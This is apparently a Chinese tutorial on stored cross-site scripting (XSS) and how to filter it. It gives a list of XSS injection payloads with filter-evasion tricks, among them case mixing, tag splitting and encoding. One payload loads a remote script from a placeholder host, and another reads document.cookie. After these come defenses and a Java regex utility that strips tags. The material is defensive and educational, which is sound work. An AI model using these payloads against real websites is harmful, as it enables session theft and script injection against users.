存储性xss过滤
xss概念
xss又叫css(cross site
scripting,跨站脚本攻击),xss攻击通过在web页面插入恶意脚本,当页面被浏览时,恶意脚本会被执行,实现攻击用户的目的。
xss类型
1、存储型/持久型 存储型指恶意脚本会被存储在服务器端,如数据库中或者文件中。例如留言板等很容易因为输入检验不严谨导致被攻击。
2、反射型/非持久型 反射型一般是带有恶意脚本参数的URL,是一次性的。
3、DOM型
基于DOM文档对象模型的xss漏洞,客户端的恶意脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。可能触发DOM型xss的属性有document.write、innerHTML、location、window.name、document.referer等。
xss攻击类型
<!--1:利用html标记 -->
<script>alert(1);</script>
<script>prompt(1)</script>
<iframe src="javascript:alert(1)">
<!--2:利用html标签属性 -->
<!--利用html标签支持js伪协议形式,如src,href,background、value、action、lowsrc、bgsound、dynsrc等,进行xss注入。如: -->
<img src="javascript:alert(1);"/>
<table background="javascript:alert(1);"></table>
<!--3:事件利用 -->
<!--可以利用html中某些动作事件,绑定恶意脚本。常用的事件有mouseover、onclick、onfocus、onerror、onload、onchange等,具体见:html事件属性: -->
<input type="button" value="click me" onclick="alert(1)" />
<!--4:利用css跨站 -->
<!--css样式表可作为恶意脚本载体,不需要嵌入html中,可以通过link或者@import进行引用,比较隐蔽,不过不同浏览器之间不能通用。: -->
<div style="background-image:url(javascript:alert(1))"></div>
<style>
body{background-image:url(javascript:alert(1));}
//expression中可使用全角字符
p{background-image:expression(alert(1));}
<style>@import'javascript:alert('xss');'</style>
</style>
<!--5、规避过滤规则 -->
<!--可利用大小写混淆、拼接和拆分(空格回车和tab绕过)、字符编码等方式,如: -->
<scRiPt>alert(1);</scrIPt>
<scr<script>ipt>alert(1)</scr</script>ipt>
<img src="javas cript:alert(1);"/>//语句必须完整,有分号或者标签对。
//可以将代码用ASCII码替换,也可十进制、十六进制、八进制编码
<img src="javascrip#116:alert(1)" />
<a href="#javascript:alert('xss')">xss</a>
//拆分,可绕过长度限制
<script>z='document.'</script>
<script>z=+'write'("'</script>
<script>z=z+'<script'</script>
......
<script>eval(z)</script>
<!--6、DOM方法利用 -->
var s=document.createElement("script");
s.src="http://xxx/xxx.js";
document.getElementsByTagName("head")[0].appendChild(s);
<!--7、location方法利用 -->
<!--利用location加JavaScript伪代码,将“符号”、“变量名”、“函数名” 都变成字符串,在字符串中可以使用js编码,构造payload。 -->
<input type="button" value="click me" name=javascript:alert%281%29" οnfοcus=location=this.name />
<img src="1" οnerrοr=location="javascr"+"ipt:al"+"ert%28docu"+"ment.co"+"okie%29">
xss防御
1:后台处理,过滤掉敏感脚本 iframe,script,<>,javascript,空格,引号、&等
2:输出html时,加上Content Security Policy的Http Header,可防止页面被XSS攻击时,嵌入第三方的脚本文件等
3:设置Cookie时,加上HttpOnly参数
4:开发API时,检验请求的Referer参数
xss防御工具类
一般存储性xss攻击存入数据库,
俩个途径,
1:页面新增或编辑,
2:导入exec
具体做法是,
获取到页面输入的值或者获取到导入的每一列字段,调用工具类对其过滤即可,
public class FilterXssHtmlUtil {
public static String Html2Text(String inputString){
String htmlStr = inputString; //含html标签的字符串
String textStr ="";
java.util.regex.Pattern p_script;
java.util.regex.Matcher m_script;
java.util.regex.Pattern p_style;
java.util.regex.Matcher m_style;
java.util.regex.Pattern p_html;
java.util.regex.Matcher m_html;
try{
String regEx_script = "<[\\s]*?script[^>]*?>[\\s\\S]*?<[\\s]*?\\/[\\s]*?script[\\s]*?>"; //定义script的正则表达式{或<script[^>]*?>[\\s\\S]*?<\\/script> }
String regEx_style = "<[\\s]*?style[^>]*?>[\\s\\S]*?<[\\s]*?\\/[\\s]*?style[\\s]*?>"; //定义style的正则表达式{或<style[^>]*?>[\\s\\S]*?<\\/style> }
String regEx_html = "<[^>]+>"; //定义HTML标签的正则表达式
p_script = Pattern.compile(regEx_script,Pattern.CASE_INSENSITIVE);
m_script = p_script.matcher(htmlStr);
htmlStr = m_script.replaceAll(""); //过滤script标签
p_style = Pattern.compile(regEx_style,Pattern.CASE_INSENSITIVE);
m_style = p_style.matcher(htmlStr);
htmlStr = m_style.replaceAll(""); //过滤style标签
p_html = Pattern.compile(regEx_html,Pattern.CASE_INSENSITIVE);
m_html = p_html.matcher(htmlStr);
htmlStr = m_html.replaceAll(""); //过滤html标签
textStr = htmlStr;
}catch(Exception e){
e.printStackTrace();
}
return textStr;//返回文本字符串
}
}
xss增加过滤器过滤xss参考
https://blog.csdn.net/abcjwg/article/details/89305717?